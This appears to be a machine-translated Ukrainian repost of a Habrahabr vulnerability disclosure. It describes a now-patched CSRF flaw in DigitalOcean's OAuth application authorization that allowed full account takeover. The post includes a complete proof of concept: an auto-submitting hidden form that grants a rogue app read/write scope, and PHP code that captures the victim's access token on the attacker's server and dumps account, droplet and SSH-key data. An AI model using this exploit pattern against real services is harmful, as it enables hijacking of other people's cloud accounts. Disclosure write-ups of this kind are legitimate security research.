Захоплюємо повний контроль над чужим хмарою Digital Ocean

Як і багато хабрапользователи, я користуюся «хмарними» технологіями, в т. ч. орендую VPS (віртуальні сервера) в різних країнах світу. Близько двох років я користувався Амазоном і не сказати, щоб був задоволений, але вистачало.

У вересні минулого року я натрапив на дуже агресивну PR компанію від Digital Ocean (DO) і вирішив скористатися їх послугами. З того моменту я закинув Амазон (жодного разу не реклама) і повністю перейшов на DO.
image

І чим більше користуєшся якимось сервісом і чим більше довіряєш йому своїх даних, тим більш пильно дивишся як він працює :)


Веб DO написаний на RoR, також повсюдно використовується GO/Perl, БД — MariaDB / PostgreSQL (досить дивно що обидва разом в одному продукті, ну да ладно). І з декількох security-репортов хотілося б виділити один, вже виправлений, з найпростішої багой і найбільшим импактом — захоплення контролю над чужим аккаунтом.

Місце зустрічі
Як-то давно я писав статтю про безпека API і що дивитися уразливості краще саме там. Оглянувши свій аккаунт і функціонал помітив — що тут він як раз є. Можна створювати «developer applications».


Вікно створення програми

Доступ через додаток до акаунта
Почитавши документи — developers.digitalocean.com/, вивчивши запуск нової версії API зрозумів, що можу створити додаток, після нього мені дається посилання виду — cloud.digitalocean.com/v1/oauth/authorize?client_id=34fc7d56883b7e33b2f305642acb5ec6e5a14271ba83084dc6a0ca2b22d29555&redirect_uri=https%3A%2F%2Fsergeybelove.ua%2Fexploits%2F&response_type=code


Приклад запиту доступу до облікового запису

У url можна задати параметр scope. Замість типового рішення поділу прав по модулях (наприклад, як в соц. мережах — доступ до друзів, фотоальбомів тощо) хлопці з DO вирішили зробити по-іншому, можна запитати доступні операції — read|write (без явної вказівки параметра виставляється лише read).

Вектор атаки
Якщо користувач натисне на «Authorize Application» його автоматично перекине за callback url з спеціальним токеном. Цей маркер можна використовувати вже на своїй стороні (розробника) для наступного запиту сертифіката, який потрібен безпосередньо для дзвінків самих методів API (інформація про обліковий запис, управління дроплетами тощо).

Вся їхня помилка зводилася до того, що можна провести CSRF атаки на установку програми (створити на своїй стороні форму, ідентичну запитом вище на картинці, поміняти action форми DO і виконати submit). CSRF токен вони використовують, але не перевіряють на серверній стороні.

Як підсумок, ми просто розміщуємо де-небудь потрібний html/js код, поміщаємо його в прихований кадр і, непомітно для користувача, встановлюємо йому своє «злісне» додаток, заодно відловлюючи access_token, який юзер передасть по callback_url на наш сервер.

Для наочності наведу свій PoC. При відвідуванні коду з такою сторінкою — встановлювалося додаток, отлавивался access_token отримували наступний і виводилися деякі дані облікового запису

<html>
<body<?php if (!isset($_GET['code'])) echo ' onload="document.forms[0].submit()"'; ?>>
<form action="https://cloud.digitalocean.com/v1/oauth/authorize" method="POST">
<input type="hidden" name="utf8" value="✓" />
<input type="hidden" name="authenticity_token" value="" />
<input type="hidden" name="client_id" value="___ID___FROM_DEV_PANEL__" />
<input type="hidden" name="redirect_uri" value="http://_url_with_exploit" />
<input type="hidden" name="state" value="" />
<input type="hidden" name="response_type" value="code" />
<input type="hidden" name="scope" value="read write" />
<input type="hidden" name="commit" value="Authorize Application" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

<?php
if (isset($_GET['code']) && preg_match("/^([a-z0-9]{64})$/", $_GET['code'])) {
// lets exploit
$resp = json_decode(shell_exec('curl-X POST "https://cloud.digitalocean.com/v1/oauth/token?grant_type=authorization_code&code='.$_GET['code'].'&client_id=_CLIENT_ID_OF_DEV_APP&client_secret=CLIENT_SECRET_OF_DEV_API&redirect_uri=http://_url_with_exploit"'));
$token = $resp->access_token;
echo "Your token is: ".$token;
echo '<h1>User info:</h1><pre>';
print_r(json_decode(shell_exec('curl-X GET-H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/account"')));
echo '</pre><h1>Droplets info:</h1><pre>';
print_r(json_decode(shell_exec('curl-X GET-H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/droplets"')));
echo '</pre><h1>SSH keys info:</h1><pre>';
print_r(json_decode(shell_exec('curl-X GET-H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com//v2/account/keys"')));
echo '</pre>';

}


Підсумок — повний контроль над аккаунтом. Деякі із доступних методів (просто вказуючи scope=read,write):

  • Створення, видалення значок
  • Створення, видалення, оновлення ключів ssh
  • Перемещние образів значок (на інші акаунти)
В цілому — густо :) Дана уразливість запатчена, інші, на жаль, немає. Може вийти про них розповісти незабаром.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.